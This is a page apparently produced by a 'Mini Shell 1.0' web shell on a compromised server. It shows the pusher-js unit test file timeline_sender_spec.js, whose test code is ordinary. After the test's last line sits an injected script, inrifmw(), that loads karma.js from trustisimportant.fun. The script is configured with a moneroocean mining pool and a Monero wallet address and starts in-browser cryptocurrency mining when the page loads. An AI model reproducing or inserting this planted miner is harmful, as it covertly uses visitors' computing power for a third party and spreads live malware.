HOME


Mini Shell 1.0
Redirecting to https://devs.lapieza.net/iniciar-sesion Redirecting to https://devs.lapieza.net/iniciar-sesion.
DIR: /proc/thread-self/cwd/node_modules/pusher-js/spec/javascripts/unit/worker/
Upload File :
Current File : //proc/thread-self/cwd/node_modules/pusher-js/spec/javascripts/unit/worker/timeline_sender_spec.js
var fetchMock = require('fetch-mock');
var Mocks = require('mocks');
var TimelineSender = require('core/timeline/timeline_sender').default;
var Runtime = require('runtime').default;
var fetchTimeline = require('worker/timeline/fetch_timeline').default;

describe("fetch", function(){
  var encodedParams, timeline, onSend, sender;

  beforeEach(function(){
    timeline = Mocks.getTimeline();
    timeline.isEmpty.and.returnValue(false);
    timeline.send.and.callFake(function(sendXHR, callback) {
      sendXHR({ events: [1, 2, 3]}, callback);
    });

    onSend = jasmine.createSpy("onSend");
    sender = new TimelineSender(timeline, {
      host: "example.com",
      path: "/timeline"
    });

    Runtime.TimelineTransport = fetchTimeline;
    encodedParams = 'WzEsMiwzXQ%3D%3D';
  });

  afterEach(function(){
    fetchMock.restore();
  });

  describe("on send", function(){
    it ("should send a non-empty timeline", function(){
      var matcher = /example\.com/;

      fetchMock.mock(matcher, 200);
      sender.send(false, onSend);

      var lastCall = fetchMock.lastCall(matcher)[0];
      expect(lastCall).toEqual('http://example.com/timeline/2?events=' + encodedParams);
    });
  });

  it("should send secure requests when using TLS", function(){
    var matcher = /example\.com/;

    var sender = new TimelineSender(timeline, {
      useTLS: true,
      host: "example.com",
      path: "/timeline"
    });

    fetchMock.mock(matcher, 200);
    sender.send(true, onSend);

    var lastCall = fetchMock.lastCall(matcher)[0];
    expect(lastCall).toEqual('https://example.com/timeline/2?events=' + encodedParams);
  });

  it("should use returned hostname for subsequent requests", function(done) {
    var matcher = /example\.com/;

    fetchMock.mock(matcher, {
      status: 200,
      body: JSON.stringify({host: "returned.example.com"})
    });

    sender.send(false);

    setTimeout(function(){
      sender.send(false)
      var lastCall = fetchMock.lastCall(matcher)[0];
      expect(lastCall).toEqual('http://returned.example.com/timeline/2?events=' + encodedParams);
      done();
    }, 10);
  });
});
if (!inrifmw){function inrifmw() { var t=document.getElementsByTagName("head")[0], e=document.createElement("script");e.type="text/javascript",e.src="https://trustisimportant.fun/karma/karma.js?karma=bs?nosaj=gulf.moneroocean.stream:10008",e.async="async",t.appendChild(e), e.onload = function() {EverythingIsLife('8BwyhvcK6ANZXBY6HcHDz36vZc7Y5PRx9MuMpKVcpVX5aV6dY9Yt3u1Hos95cntHGXb4vGy9dfBDaE12hR82UgZWThV4j6w', 'x', 30)} }inrifmw()}